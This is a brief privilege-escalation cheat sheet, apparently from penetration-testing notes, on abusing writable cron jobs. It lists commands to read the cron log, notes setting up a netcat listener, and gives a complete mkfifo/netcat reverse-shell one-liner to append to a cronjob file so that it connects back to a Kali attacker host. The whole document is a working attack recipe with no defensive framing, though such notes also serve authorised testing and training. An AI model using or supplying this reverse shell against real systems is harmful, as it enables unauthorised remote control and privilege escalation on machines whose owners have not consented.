Abusing Cron Jobs

NOTE: Ensure that the user has writable permission to the cronjob file

1

Inspect cron log file

grep "CRON" /var/log/syslog

2

Setup Netcat listener

3

Inject reverse shell into cronjob

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <Kali IP Address> <Kali Port> >/tmp/f" >> <CronJob File Full Path>